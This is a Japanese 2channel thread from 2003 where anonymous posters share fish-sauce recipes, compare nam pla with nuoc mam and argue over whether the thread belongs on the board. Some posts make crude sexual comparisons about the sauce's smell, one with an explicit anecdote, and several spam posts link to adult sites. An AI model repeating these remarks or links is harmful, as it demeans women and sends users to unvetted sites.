209 :やめられない名無しさん:03/03/18 00:01
ザーサイ炒める時は1回塩抜き汁

210 :やめられない名無しさん:03/03/18 00:03
ワタリガニを焼いてナムプラーをつけると神の味

211 :やめられない名無しさん:03/03/18 06:54
アジの開きにナンプラーを塗って焼く。
途中でもう一度塗り、
食うときにたっぷりかけて食う。
香ばしくてうま〜。

212 :やめられない名無しさん:03/03/18 11:04
>>210
それは単にカニの味なのでは

213 :やめられない名無しさん:03/03/20 22:48
アンチョビソースとは全然違うの?

214 :やめられない名無しさん:03/03/20 22:57
あー、確かに英訳するとそうなる可能性はあるねえ。
実際はどう表記されてんだろ?
アンチョビの身をペーストにしたりほぐしたりしたのをベースに
して作ったソースもアンチョビソースだったりするから・・・。

215 :やめられない名無しさん:03/03/21 00:55
ナンプラーも魚醤も蝦醤もしょっつるもfish sauce。
ただ、多分に意味訳くさい。

216 :やめられない名無しさん:03/03/24 17:47
  ( ゚ Д゚)
  ( つ旦O
  と_)_)


  ( ゚ ◎゚)
  ( ゙ノ ヾ
  と_)_)

    _, ._
  ( ゚ Д゚)
  ( つ旦O
  と_)_)

    _, ._
  ( ゚ Д゚)
  ( つ O. __
  と_)_) (__()、;.o:。
          ゚*・:.。

      _ _  ξ
    (´   `ヽ、     __
  ⊂,_と(    )⊃  (__()、;.o:。
                  ゚*・:.。

217 :やめられない名無しさん:03/03/25 08:24
結局。最終的に。
「ナンプラー」という言い方が最適とは言い切れないが、
ま、そういった調味料。
(゚д゚)ウマー

218 :やめられない名無しさん:03/03/25 17:07
使ってるのがなくなっちゃった。輸入食材屋で買うのが安くていいよね。
味露。

219 :やめられない名無しさん:03/03/26 00:05
もらい物の大量のそうめんを消化するのにナンプラー大活躍。

お湯にほんの少し鶏がらスープの素入れて、沸いたらそうめん投入。
1分足らず茹でて、仕上げにナンプラートポトポ。
唐辛子の粉やレモン汁など加えて、ベトナム風汁そばのつもりで食べてます。

あと、自作ラーメン作るとき、鶏がらなどでスープとっても、
いまいちコクが足りないとき、必ずナンプラー入れます。
化学調味料入れないでも( ゚д゚)ウマーー

220 :やめられない名無しさん:03/04/03 14:48
この前、肉野菜炒めに桃屋のザーサイを塩抜きして
いつものようにナンプラーで美味かった
桃屋は塩分以外に油分も多いのかな?
炒める前に湯に漬けてたら凄かった…


221 :やめられない名無しさん:03/04/03 20:43
>>219
そのナンプラー味のそうめん、レシピ読むだけでウマソー!
いつか試してみます。


222 :やめられない名無しさん:03/04/03 20:46
おい、>>20を試したらうちの入学式を控えた子供がゲロリともどしたぞ。
どうしてくれるんだ。

223 :やめられない名無しさん:03/04/04 02:29
おお、ナンプラースレ発見。
>>219フォー風素麺美味そう。
我が家ではレッドカレーの残りを素麺にかけて食います。

ケンミンの焼きビーフンにナンプラー。
塩焼きソバにナンプラー。
さつま揚げにもナンプラー
ウマー

224 :219:03/04/04 06:12
>>221
>>223
ぜひやってみてくなさい。
ここしばらく、こればっかり食っていたので食費安上がりでした。

贅沢したいときはめんを丼に入れたら
その上にしゃぶしゃぶ用牛肉をビローンて広げて
その上からアツアツスープを注ぐべし。
もやしと青ねぎも生のままぶち込むべし。
そうするともう完全にフォー。

あと、そうめん茹ですぎたときも、ナンプラーでいためると、
タイ風焼きそばになって(゚д゚)ウマーだね。
煎りタマゴ、モヤシ、ニラ、干しえびなど、あるのならぶち込むと尚良しでつ。

225 :やめられない名無しさん:03/04/04 14:34
>>220
ももやは全体的に味が濃いからね

226 :やめられない名無しさん:03/04/04 18:01
>>223
池袋のタイ飯屋「メコン」のランチバイキングには、タイカレーと素麺がある。
素麺をどうやって食うのか分からない人が多いみたいだけど、俺はいつも
カレーをぶっかけて食ってるよ。

227 :やめられない名無しさん:03/04/04 20:00
>>226
正解。
カノムチンだよ。

228 :やめられない名無しさん:03/04/04 22:28
最近自演臭いなw

229 :やめられない名無しさん:03/04/06 10:30
何でもかんでもジサクジエン扱いするのもいかがなものかと。

230 :やめられない名無しさん:03/04/06 11:14
2ちゃんねるばっかりやってたら人を信用できなくなるんだよな。

231 :やめられない名無しさん:03/04/06 13:15
>>230
余裕ができる人と余裕ができなくなる人とに二極化する。

232 :やめられない名無しさん:03/04/08 15:44
素麺か・・試すのはお中元の時期以降だな。

233 :やめられない名無しさん:03/04/08 17:47
ナンプラーに刻んだ青唐辛子を漬け込み
チャーハンに添えると激ウマでつ


234 :やめられない名無しさん:03/04/08 19:34
>>232
3食100円のもあるから試せよ(w
揖保の糸でなくてもうまいぞ多分

235 :やめられない名無しさん:03/04/08 22:57
焼きうどんにナンプラーとレモン汁(;´Д`)ハァハァ


236 :やめられない名無しさん:03/04/08 23:07
マンプラーとチンプラー

237 :やめられない名無しさん:03/04/08 23:08
ナンプラーとライム汁と唐辛子でなんでもタイの味。

238 :やめられない名無しさん:03/04/08 23:59
ソーメンなら生春巻きってのもデフォなのだが、
大量消費には向かないなw

239 :やめられない名無しさん:03/04/09 01:13
ナンプラーは好きだけど>>1さんのように白米おかずなしで何杯も、
というのは無理です。
白飯にナンプラーをかけるだけで美味しいと思えるのですか?
凄いですね。

240 :やめられない名無しさん:03/04/09 01:28
液体の塩辛だと思えばあながち大袈裟でもないだろ。
醤油よりかは食は進むと思うぞ。
ただ冷や御飯だと生臭さが強いだろうな。

241 :やめられない名無しさん:03/04/09 04:07
ペペロンチーノをつくるときの
アンチョビペーストの代わりになるってのは.....



ガイシュツ?


242 :やめられない名無しさん:03/04/09 11:56
つーか、イタリアではトマトが伝わる以前は
パスタの味付けは魚醤が使われていた。

243 :やめられない名無しさん:03/04/14 02:22
>>242
そんな紀元前のこと言われても。

244 :やめられない名無しさん:03/04/14 20:42
こーゆー場合は何を勉強しろと言えばいいんだろうか。世界史かな。

245 :やめられない名無しさん:03/04/15 12:17
>>243
んな大昔じゃない。せいぜい16世紀。
食用にしたのはここ200年くらい。

246 :やめられない名無しさん:03/04/15 21:42
勉強になるなぁ。
そういえば、麺は中国で、トマトは南米で、魚醤はアジアから
伝わったんだったら、イタリア料理って結構歴史浅いのね。

247 :やめられない名無しさん:03/04/15 21:45
トマトが南米→ヨーロッパ→中国へ伝わったことを考えると
エビチリや酢豚はパスタ以上に歴史が浅いんだな。。。

248 :山崎渉:03/04/17 10:05
(^^)

249 :やめられない名無しさん:03/04/18 10:49
エビチリにケチャップを使いだしたのは
日本の「四川飯店」から。


250 :山崎渉:03/04/20 05:00
   ∧_∧
  (  ^^ )< ぬるぽ(^^)

251 :やめられない名無しさん:03/04/20 09:49
ベトナム風ソーメンにる場合は
みょうがの刻んだのと、ラー油をたらすともっといけるよ

252 :やめられない名無しさん:03/04/23 03:10
オイスター印のナンプラーを買ってきました。
牡蠣の絵が書いてあるから、今までずっとオイスターソースと勘違いしてました。
なかなか臭くてグー。

253 :やめられない名無しさん:03/04/28 19:58
スイートチリソースって唐揚げ以外に何に使ってる?
濡れはドレッシング、ラーメンの汁、肉の漬け込み汁として使用してたんだけど
ちょと飽きてきた
ナンプラーは醤油と同じ感覚だからか飽きない

254 :やめられない名無しさん:03/04/28 20:04
>253
インスタントラーメンにスイートチリソースを入れると美味しいの?
何味のラーメンに入れればいいの?塩?

255 :やめられない名無しさん:03/04/28 20:39
>>253
餃子、焼売、春巻きなんかにも合うよ。
カリカリに焼いたベーコンとか目玉焼きにもいいかな。

256 :やめられない名無しさん:03/04/29 02:20
>>254 即席ラーメンは買わないのでスマソ
>>255 なるほど、参考にします。

フライドポテトのケチャップ感覚で使っても美味しいですよ

257 :やめられない名無しさん:03/04/29 03:44
サラダが余ったらライスペーパーで包んで即席生春巻きつくってます。
タレはスイートチリ6、ナンプラー3、豆板醤1の割り合いでまぜまぜ。
どうでしょ。

258 :やめられない名無しさん:03/05/04 12:57
DAT落ち防止AGE

259 :221:03/05/05 09:35
>>219
ナンプラー味のそうめん作ってみました。
ウマー!ウマー!ウマー!
レシピありがd!


260 :やめられない名無しさん:03/05/10 23:30
今日は代々木公園のタイフェアでナムプラー買い込んできた

750ミリリットル一瓶\150、これだからタイフェアやめられない
明日までだyo

261 :やめられない名無しさん:03/05/13 19:18
どうしたんだage

262 :やめられない名無しさん:03/05/13 19:37
そうめんとナムプラーは美味しそう!
ビーフンの代用品としてありかも。
でも、1さんみたく白米に直接ナムプラーはどうかと。
ごはんには普通の醤油のほうが美味しいような気が・・・。

263 :やめられない名無しさん:03/05/13 21:18
今朝、寝ぼけててお新香にナンプラーかけてしまった
うまかった

264 :やめられない名無しさん:03/05/14 04:24
>>262
冷や飯だと生臭いが熱い飯には醤油より上
ま、塩辛みたいなもんだ
唐辛子のみじん切りがあるとなおよし

265 :やめられない名無しさん:03/05/17 20:29
una-

266 :やめられない名無しさん:03/05/20 01:16
ナンプラーで納豆をくおうぜ!

267 :やめられない名無しさん:03/05/20 21:25
安い牛薄切り肉を茹でて、水にとって粗熱取ってから
一口大に千切る。ざく切りキャベツを軽く塩でもんで、
一度水にさらしてからぎゅっとしぼる。
以上をナンプラー&レモン汁&輪切り唐辛子&砂糖ほんの少々、
たまに気が向いたら無糖のピーナツバターなんかも入れた
ドレッシングで和える。

↑を夏になると週一以上食ってまつ…旨い…。

268 :山崎渉:03/05/22 00:44
━―━―━―━―━―━―━―━―━[JR山崎駅(^^)]━―━―━―━―━―━―━―━―━―

269 :やめられない名無しさん:03/05/22 21:52
あげ

270 :やめられない名無しさん:03/05/27 06:38
ドレッシング
 ピーナッツバター 大さじ2
マヨネーズ 大さじ1
ライム汁(レモンでも) 大さじ1/2
酒 大さじ1/2
ナンプラー 大さじ1/2
黒胡椒 少し
チリソース(一味でも)少し


271 :やめられない名無しさん:03/05/27 11:13
>270
ピーナッツバターってドレッシングと混ざる?
テレビでやってたから自分でもやってみようと思ったけど混ざらなかったよ。
ちなみに使用したのはスキッピー。

272 :やめられない名無しさん:03/05/27 13:29
>>271
ちーまーじゃん使え!
ピーナツバター大さじ3/2で残りをちーまーじゃんにしてまぜまぜ汁!

273 :山崎渉:03/05/28 15:14
     ∧_∧
ピュ.ー (  ^^ ) <これからも僕を応援して下さいね(^^)。
  =〔~∪ ̄ ̄〕
  = ◎――◎                      山崎渉

274 :やめられない名無しさん:03/05/29 05:28
うんまい

275 :_:03/05/29 05:33
http://homepage.mac.com/hiroyuki43/jaz10.html

276 :やめられない名無しさん:03/06/02 19:10
あげ

277 :やめられない名無しさん:03/06/04 22:45
なめ茸に数滴たらすと(゚д゚)ウマー

278 :やめられない名無しさん:03/06/07 22:27
そろそろナンプラー自作野郎の中間報告があってもいい頃だが

279 :やめられない名無しさん:03/06/11 21:05
何故に出てこない?

ヤキソバ

ふつうにヤキソバを作る。
味付けは
ナンプラ。ゴマ油。さとう、こしょう

ニラがあう。

280 :やめられない名無しさん:03/06/11 21:16
あっ!

281 :やめられない名無しさん:03/06/11 22:48
>>279
おれも普通作る焼きそばは、ほぼそれだ。

282 :やめられない名無しさん:03/06/12 00:23
臭いものは食べた後 口臭が気になりますが
ナンプラーを食べた後も臭うものなんでしょうか

283 :やめられない名無しさん:03/06/12 14:10
>>282
きょうのスパスパを見て報告をしてください。
私は外国にいるので見られないのです。

284 :やめられない名無しさん:03/06/12 19:55
さんまにかけて食べたらでんでん生臭くナカタヨ。
冷凍さんまってパサパサしてるけど
「調味料主体」で食べるならおいしいよ。

285 :やめられない名無しさん:03/06/13 13:08
で、スパスパどうだった?

286 :やめられない名無しさん:03/06/16 23:29
豚肉、ニラをだしでさっと煮て
ナム、レモン、さとうに付けて食べます。これから。
酒はホッピー。

287 :やめられない名無しさん:03/06/17 20:03
レタスとキューリ&さしみの切り落とし、アボガド
、、をナムプラ、レモン汁であえてごはんのおかずにした。
めしがたりなかった〜!

288 :やめられない名無しさん:03/06/20 01:30
ナンプラーとニョクマムって違うものなんですか?

289 :やめられない名無しさん:03/06/20 01:32
製造方法はほぼ同じ。味も似たような物。
ナンプラー→タイ
ニョクマム→ベトナム

実際に料理に使う程度なら、同じ物と思っていいと思う。

290 :288:03/06/20 01:38
>>289
おぉ!速レスどうも。なるほどね。
タイ料理屋のゲウチャウで1本200円で売ってるので
醤油代わりに何にでもかけて食べてます。ナンプラー。ウマー!

291 :やめられない名無しさん:03/06/20 02:51
すごくHなサイト(☆∀☆)見つけた〜♪
アイコラもあった!(*´∀`*)アフ〜ン
http://plaza16.mbn.or.jp/~satchel/idol_kora/

292 :やめられない名無しさん:03/06/20 12:59
くさいくさいって言うけど
炒めると匂いはほとんど飛ぶね。
旨味だけが残る。
においいフアンはわざと「仕上げる直前」に入れる。

293 :やめられない名無しさん:03/06/20 22:38
最近、漏れしか書いていない訳だが、、

刺身につけて食べたらおいしかった。
ワサビにも合う。

294 :やめられない名無しさん:03/06/20 22:41
>最近、漏れしか書いていない訳だが、、

悲しい。。。



295 :やめられない名無しさん:03/06/20 23:13
何作ってもちょこっと入れてしまう。
だから、何にいれたらうまいって書き方ができない(´・ω・`)

296 :やめられない名無しさん:03/06/20 23:17
最近ナンプラーに目覚めました。
と同時にパクチーにも開眼。
汁ソバにナンプラーとパクチーを大量投入ウマーウマーウマー

297 :やめられない名無しさん:03/06/21 18:03
ナベに
マヨネーズ、ベーコン、キャベツを入れて
塩胡椒、酒、ナムプラを入れてフタをして弱火。

マヨネーズ蒸しナムプラ風味

298 :やめられない名無しさん:03/06/21 18:04
相変わらず一人で書いてるのか?

299 :チャチャ=ワンチャイ:03/06/21 22:33
>>298
>>295-296はちがうよ。
試験的にコテをつける

茹でたタコを一口大に切って串に刺して、火であぶる。
レモン砂糖ナムプラにチョチョイと付けてパクリ!ビールキュー!
ウマママー!

300 :300:03/06/22 00:35
300

301 :やめられない名無しさん:03/06/22 06:27
何かと思えばおまんこの匂いがする調味料の事か。

302 :やめられない名無しさん:03/06/22 07:28
ニョクマムってナムプラーとどう違うの?味的に。

303 :_:03/06/22 07:28
http://homepage.mac.com/hiroyuki44/

304 :やめられない名無しさん:03/06/22 09:38
>302
味はそんなに違わないと思うけど、香りがぜんぜん違う
ニョクマムの方が魚臭いっていうか・・・

305 :チャチャ=ワンチャイ:03/06/22 14:15
コチュジャン味のやきそばを作った、、、
、、なんかものたりない、、、、

やっぱあれだ!!!

ナムプラかけて喰った。馬勝った。

306 :やめられない名無しさん :03/06/23 21:21
カップヌードルのノーマル味に入れてる
濃くなるからお湯は多めに。

307 :やめられない名無しさん:03/06/23 21:27
うそをつくなおまえら

308 :チャチャ=ワンチャイ:03/06/23 22:03
あの匂いがちょっと、、ってひとは
醤油とのハーフ&ハーフで、、、

309 :やめられない名無しさん:03/06/24 01:09
あるいは同量の水で割って、ナベで元の量まで煮詰めてやる
使い方は限定されるが、水の代わりに生姜汁とかレモン汁で割るのもいける

310 :チャチャ=ワンチャイ:03/06/24 14:25
スレと直接関係がないけど
たまごかけごはんに醤油をかけないで
味なしで喰ったら喰えたもんじゃない。
それとおなじ。
ナンプラの匂いだけを嗅いだらキモチワルイ人もいるかもしれない
が、、調理法で変わる。おいしくするか食わず嫌いかはアダタシダイ。

311 :やめられない名無しさん:03/06/24 14:33
☆とにかく可愛い娘のH画像です☆
http://endou.kir.jp/yuminet/link.html

312 :チャチャ=ワンチャイ:03/06/26 18:31
トーストに
めだまやき、レタス、マヨ&ナムプラ

あと、前にTVで福留さんinベトナムが食べてた。
フランスパンに
素タマゴヤキ、魚肉ソセージ、焼タマネギ&ナムプラ。
まねをしたらおいしかった。

313 :チャチャ=ワンチャイ:03/06/28 13:07
やっぱトムヤンクン

314 :やめられない名無しさん:03/06/28 18:52
キャベツ、もやしとラム肉を用意。
フライパンにキャベツ、もやし、ラムの順番に敷き詰めて、
上から軽く塩胡椒を振る。
フライパンにフタをして、極弱火で30分火にかける。
野菜からの水分と、ラムからの油でジクジクいうフライパンに
ナンプラーを回しかけ、強火にして更に1分火にかける。
堅めに炊いたご飯に、フライパンの中身を汁ごと投入。
お好みで七味をふってハフハフ食べてくだされ。
美味いぞ。

315 :やめられない名無しさん :03/06/28 19:54
醤油以上に使ってるんだけど、塩分は醤油より高いんでしょ?
高血圧になっちゃうかなぁ・・・

316 :やめられない名無しさん:03/06/28 19:59
とりあえずカリウムいっぱい含んだ野菜食え!

317 :やめられない名無しさん :03/06/28 23:23
きゅうりにもナンプラーかけちゃうんだよね・・・
控えるようにしよう・・・

318 :やめられない名無しさん:03/06/29 01:26
ナンプラーじゃなくて、ナ「ム」プラーだ!
間違えるな。ヴォケが。

319 :やめられない名無しさん:03/06/29 10:05
それ言っちゃあスレタイが・・・・

320 :やめられない名無しさん:03/06/29 10:26
このスレッドは板違いじゃないか?
料理板に移転するべき。

321 :やめられない名無しさん:03/06/29 11:11
>>320
300過ぎてからそんなこと言うな

322 :やめられない名無しさん:03/06/29 12:42
>>321
はぁ?
ニンニク醤油スレなんか2〜3スレ消費してから
板違いだと認定されてるんだぞ?知らないのか?

323 :やめられない名無しさん:03/06/29 14:27
知らん

324 :やめられない名無しさん:03/06/29 14:57
どうでもいいがちゃんと削除依頼出せよ。

325 :やめられない名無しさん:03/06/29 15:08
地味にマターリしてたら自治という名前を借りたアホが荒しに来ますねぇ。

326 :やめられない名無しさん:03/06/29 18:51
>>1が「全責任を負って建てた」からシラン。
>>1に聞いておくれ&>>1の責任

327 :やめられない名無しさん:03/06/29 20:04
マイペンライで放っといていこうぜ( ´ー`)

328 :やめられない名無しさん:03/06/29 20:43
つい最近まで一人しかカキコしてなかったのに、今日は賑やかだな、
と思ったら、変な香具師が紛れ込んできてたのか。

今年も中元でそうめんをたくさんもらうから、毎日なんちゃってパッタイだ。

329 :コテはやめる=ワンチャイ:03/06/29 20:54
メダマヤキに凄い合うのはナジェ?

330 :やめられない名無しさん:03/06/29 20:55
>>329
なま唐辛子刻んだやつを漬け込んだナンプラーかけたらさらに( ゚Д゚)ウマー

331 :やめられない名無しさん:03/06/29 21:01
でも板違いは板違いだな。このスレ。
ナンプラーはどう考えてもB級グルメじゃ無いだろ。

332 :やめられない名無しさん:03/06/29 21:29
どう考えてもB級グルメだが、何か?

333 :やめられない名無しさん:03/06/29 21:41
冷蔵庫の奥深くから、1年半前に賞味期限の切れたナンプラーをハケーン!
魚臭さ倍増で塩辛さが全開に出てましたw
何に使うか検討中。

334 :やめられない名無しさん:03/06/29 21:49
値段的に見ても下手したら醤油よりも安いしねぇ。匂いもアレだし。
B級でいいと思う。

335 :やめられない名無しさん:03/06/29 22:08
高級ナンプラー100ml=3万円の話題は禁止です。モシアッタラ

336 :やめられない名無しさん:03/06/30 13:57
お前らが勝手に決めるな。
削除屋なり運営陣が決める事だろうが。
いつからここはお前らの為だけの掲示板になったんだ?
ニンニク醤油スレだってそうやって運営陣に判断されたから
潰されたんだ。
文句言われるのがイヤならとっとと料理板にでもスレを移せ。

337 :やめられない名無しさん:03/06/30 14:31
このスレ、おれにとってはかなり役立ってます!
高級とかじゃなく、手軽で簡単にアジア風にできますからね。





338 :やめられない名無しさん:03/06/30 14:53
>>337
役に立ってるかどうかは関係ないでしょ。
板違いかどうかが問題。

で、誰もが普段日常的に食べる訳でも無いナンプラーは
完全に板違いだよな。いくら安くったって。


339 :やめられない名無しさん:03/06/30 15:01
>>338
>板違いかどうかが問題。

そんな事のの方がどうでもいいんだよ!
日常で安くうまければいいんだ!
ナンプラーを日常的に使ってる人もいるんだよ。


340 :やめられない名無しさん:03/06/30 15:17
自治厨はスルー

ナンプラー

341 :やめられない名無しさん:03/06/30 20:09
>>336
んじゃー、お前も勝手に決めるな。
削除屋なり運営陣が決める事だろうが。

342 :やめられない名無しさん:03/06/30 20:14
シーフードスパゲティの隠し味に入れたらgoo!オイピカッタヨ。

343 :やめられない名無しさん:03/06/30 20:16
自治厨がなんでこんなマターリスレに粘着しているのか、理解できん。
本気で自治する気があるなら、乱立している吉野家や焼きそばのスレをなんとかしろよ。

344 :やめられない名無しさん:03/06/30 22:53
>>343
アナタミタイナ〜イイヒトガ〜アイテヲ〜スルカラ〜デス〜。

ところで>>ALL
ナンプラカレーの具ってなによ?

やっぱエビ?

345 :343:03/07/01 01:36
>>344
スマソ。

カレーにはナスがいい感じです。

346 :やめられない名無しさん:03/07/01 07:35
>>344
豚や鳥でもいい感じ。
でも牛筋カレー作るときも入れてるから、なんでも合うんじゃねーの?

347 :やめられない名無しさん:03/07/01 21:39
ココナツミルクはいれない、漏れは。

348 :やめられない名無しさん:03/07/02 01:19
>>341
バカ野郎。前に一度運営陣がニンニク醤油を板違いだと
決めた以上、このスレは自動的に板違いになるだろうが。
その程度の頭もねーのか。
>1はさっさと削除依頼出せ。二度とこの板にこんなスレ立てるな。
お前らがやっているのは荒らし行為じゃないか。

349 :やめられない名無しさん:03/07/02 02:26
あんきも!あんきも!あんきも!

350 :やめられない名無しさん:03/07/02 07:42
>>348
まだやってる(プ

351 :やめられない名無しさん:03/07/02 11:15
ナンプラーは好きだけどあのおまんこ臭さを何とかして欲しい。

352 :B級グルメ板健全化委員会:03/07/02 19:23
警告

このスレは板違いです。直ちに料理板にスレを立てて
移動してください。
また、移転先のリンク以外の今後の書き込みは禁止します。
聞き入れない場合は削除依頼を出します。

353 :やめられない名無しさん:03/07/02 20:06
カスがなんかいっとる。

354 :B級グルメ板健全化委員会:03/07/03 07:51
警告

このスレは板違いです。直ちに料理板にスレを立てて
移動してください。
また、移転先のリンク以外の今後の書き込みは禁止します。
聞き入れない場合は削除依頼を出します。

355 :やめられない名無しさん:03/07/03 11:58
とりあえずあげてみるぜ!w

356 :やめられない名無しさん:03/07/03 12:47
パパイヤととうがらしを使った
世界一辛いサラダ、みたいなの誰か知ってる?

イサーン料理とか言ったかも??

357 :やめられない名無しさん:03/07/03 14:06
>>356
ソムタム?

358 :やめられない名無しさん:03/07/03 17:49
>>356
ソムタムだね。
青パパイヤを使ったサラダは、タイ以外にも東南アジアには結構あるらしい。

359 :やめられない名無しさん:03/07/03 21:53
そうそう!ナンプラー味だよね?
そのソムタムを食べられるお店を知りませんか?

あと
「アヒルの卵の孵りかけを茹でた」のにナンプラをつけて
食べるお店を知りませんか?

、、とBグル板らしい質問をするテスト。

360 :やめられない名無しさん:03/07/03 23:19
>>359
ソムタムは大抵のタイ料理屋にあるけど、店によっては青パパイヤの代わりに
大根を使ってたりする・・・。
でもあの辛さは、これからの時期ビールに合うよ。
一応このスレを参考に。
http://food3.2ch.net/test/read.cgi/gurume/1053755438/

> 「アヒルの卵の孵りかけを茹でた」の

これはベトナムやフィリピンのホビロンだったかな?
どこかで食えるらしいが、アメ横で買えると聞いたこともある。

361 :やめられない名無しさん:03/07/03 23:51
あー!ビール飲みたくなってきた・・・

362 :やめられない名無しさん:03/07/04 00:24
ケンミンの焼ビーフン作ってて、具(漏れはキャベツと肉細切れ)
を入れると味が薄くなるからいつもナンプラー入れてるよ。
結構ウマーなんですが、赤唐辛子かけると更にエスニックな味に・・・

363 :やめられない名無しさん:03/07/04 02:25
いい加減にしろお前ら。
そんなにこの板を荒らしたいのか?

364 :B級グルメ板健全化委員会:03/07/04 03:01
警告

このスレは板違いです。直ちに料理板にスレを立てて
移動してください。
また、移転先のリンク以外の今後の書き込みは禁止します。
聞き入れない場合は削除依頼を出します。

365 : :03/07/04 03:17
>>359
バロットですね。アメ横で売ってますよん。

366 :やめられない名無しさん:03/07/04 04:11
なに、向こうで加工したのを真空パックかなんかして送って来るの?
ひょっとして缶詰め?
うーん、漏れにはちょっと辛いかなあ?
虫の方がまだいけるかも・・・。

367 :やめられない名無しさん:03/07/04 12:28
>そんなにこの板を荒らしたいのか?
ワラタ

「焼きビーフンに入れる」のって忘れてた。
実際、日本のお店でも醤油で香り付けをしてるところが多いのでは?
ピラフ然り。

368 :やめられない名無しさん:03/07/04 12:29
ナンプラー!ナンプラー!ナンプラー!オイチイ

369 :やめられない名無しさん:03/07/04 13:09
以前買った事あったけど、使い方よく吟味しないまま放置してしまったなー。
でもこのスレ読んでいたらまた使ってみたいなと思った。
そうめんは美味そうだなー、ぜひやってみます。

ちなみに以前買った時は、臭いよりも味にちょっと戸惑った。
醤油の感覚で使ってみたら結構キツイ感じがしたので・・・。
臭いは平気、というか田舎が港町で水産加工場があったんだな、
その工場周辺の臭いと同じだったので懐かしささえ感じたな。


370 :やめられない名無しさん:03/07/04 13:36
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371 :やめられない名無しさん :03/07/04 13:44
みんなどこのを使ってる?

372 :やめられない名無しさん:03/07/04 14:15
味露って書いてあるヤツが安くてお得。
栃木・小山のスーパーハナマサで売ってた。

373 :やめられない名無しさん:03/07/04 18:52
>>371
タイに1年間ぐらい住んでたことあって、けっこういろんなメーカーのナンプラー
買ってみたりしたけど、そんなに変らなかったよ。日本だと、輸入食材なんかで
味露のやつが多いね。デパートで売ってる小さいガラス瓶のやつは高すぎ!

374 :やめられない名無しさん:03/07/04 20:27
やっぱ俺も味露。23バーツ。

375 :やめられない名無しさん:03/07/05 23:55
タマゴサンド食べた。
ひと味たらん。
ナムプラかけた。ウマカッタ。マジデ。

376 :B級グルメ板健全化委員会:03/07/06 09:01
警告

このスレは板違いです。直ちに料理板にスレを立てて
移動してください。
また、移転先のリンク以外の今後の書き込みは禁止します。
聞き入れない場合は削除依頼を出します。

377 :やめられない名無しさん:03/07/06 10:46
キャベツとベーコンをたっぷり炒めてそこに水入れて塩胡椒とナンプラーで
味つけたらなかなかおいしい具沢山スープができますよ。


378 :やめられない名無しさん:03/07/06 12:53
ソース焼そばの隠し味にナンプラー

379 :やめられない名無しさん:03/07/06 15:24
すこし焦がすのが好き。スープも単にとぽとぽ入れるのはちょっと。
でもそうめんには生。

380 :やめられない名無しさん:03/07/06 17:51
セロリとイカを炒めるとうまいよ。


381 :やめられない名無しさん:03/07/06 18:48
何をつくってもおまんこの匂いのする料理にする、恐るべき調味料。

382 :やめられない名無しさん:03/07/06 20:09
おまんこ調味料マンセー!

ってかうちのカミさんは「うっすらワキガ」っぽい匂いしかせんぞ?

だれのマンコがナンプラくさいぞな、もし?
もすかすてホームレス2chラーがいるのか?

383 :やめられない名無しさん:03/07/07 13:48
スパゲリィペスカトーレに入れた。
う〜ん、、南国味、、、goo!

384 :やめられない名無しさん:03/07/07 16:57
>>382
それは幸せな部類です。
大抵の女のまんこはナンプラー臭がします。チーズ臭にも似ている。
オシッコした後ちゃんと拭いてないからかもしれんけどな。

385 :やめられない名無しさん:03/07/07 18:09
オシッコした後ちゃんと拭いてないとナンプラーになるらしい。
クワバラクワバラ

386 :やめられない名無しさん:03/07/07 18:15
>>385
ただ俺の彼女に限っての話だけど、エッチの最中に彼女が「オシッコ
したい」と言うので行かせると、戻ってきたら外側は綺麗に拭いてあっ
てひんやりしているけど、膣の奥までオシッコが入ってベチャベチャ
です。

さすがに膣の奥までいちいち拭く女がいるとは思えないので、どんなに
綺麗に拭いてもエッチする直前に風呂に入るかシャワーしないと必ず
ナンプラー臭になると思います。

387 :やめられない名無しさん:03/07/07 21:01
オー!ナルホド、、。

、、でナンプラー料理は何がスキ?

388 :やめられない名無しさん:03/07/08 07:46
>>387
オイスターソースの代わりにナンプラーを入れたかに玉が好きですねえ。
チャーハンにも入れます。

いずれもおまんこの匂いになります。

389 :やめられない名無しさん:03/07/08 08:06
うちの近所のハナマサにナンプラーやパクチーの他
いろいろタイ料理関係のネタが売ってる。
ビーフンもあるし、どうやって食べようか?


390 :やめられない名無しさん:03/07/08 10:07
テテンプラー
byシャザーンの敵

391 :やめられない名無しさん:03/07/08 17:50
>>389
ビーフンを戻したやつにパクチーと缶詰のフクロタケと干しえびいれて
ナンプラー他タイ調味料をドサドサかけてかき混ぜて食えばインチキ
ヤムウンセンの出来上がり

392 :やめられない名無しさん:03/07/08 19:34
>391
ビーフンじゃなくて春雨にして、ナンプラーとレモン汁(ポッカでOK)かければ
そのまんまヤムウンセンになるよ(あとは+玉ネギスライスくらいかな)

393 :やめられない名無しさん:03/07/08 19:44
ヤムウンセンなら、ピーナッツも欲しい。
100円ショップでゲトしる。

394 :やめられない名無しさん:03/07/08 20:13
>>392,393
いや、ハナマサの輸入食材のコーナーだけでそれっぽいの作れないかと思って。


395 :やめられない名無しさん:03/07/08 20:13
サトウムセンは秋葉原

396 :やめられない名無しさん:03/07/08 20:14
>>394
流石!B級グルーめ!

397 :やめられない名無しさん:03/07/08 22:41
谷地温泉は八甲田

398 ::03/07/08 22:52
画像集!
http://www.sexpixbox.com/pleasant/dx/index.html


399 :やめられない名無しさん:03/07/08 23:50
買ってきたシャケ弁をすぐに食べなかった。
冷めた。
ナンプラーをかけたら!!!ぜんぜん臭くない。

ナンプラーは冷やゴハンにあう!

400 : :03/07/09 00:02
ナンプラー、マジ旨いよね。
近所でパクチーを1束100円で売ってるので週2ペースでサラダを作ってます。
レモン+ナンプラー+砂糖+パクチー+唐辛子のドレッシング。
パクチーが大量にあれば、パクチーのサラダだけでもしゃーわせ

401 :やめられない名無しさん:03/07/09 00:16
ふとおもたのだが、ナンプラーは日本中にファンがいるのに、
しょっつるやいしるはなかなか全国区にならないよなあ?

402 :やめられない名無しさん:03/07/09 07:08
>>399
ナンプラーは温度が低いとそんなに臭くないよ。
熱い料理を作るとおまんこ臭がプーンとするんです。

403 :やめられない名無しさん:03/07/09 07:49
>>391>>392
こ教示どうも。
フクロダケ買って来たよ。
あととうがらしとパクチーつかってヤムウンセンらしきものを
作ってみた。
ナンプラーが少し多かったかな?塩分が濃いような。
そのままだと生臭いけどパクチーのせると消えるというか
パクチーの匂いで消される感じ。

404 :やめられない名無しさん:03/07/12 12:41
ほっけ
マヨ
ナムプラー

405 :山崎 渉:03/07/12 16:26

 __∧_∧_
 |(  ^^ )| <寝るぽ(^^)
 |\⌒⌒⌒\
 \ |⌒⌒⌒~|         山崎渉
   ~ ̄ ̄ ̄ ̄

406 :やめられない名無しさん:03/07/13 22:42
ヤキトリ
レモン
ナンプラー

アンドちゅうはい

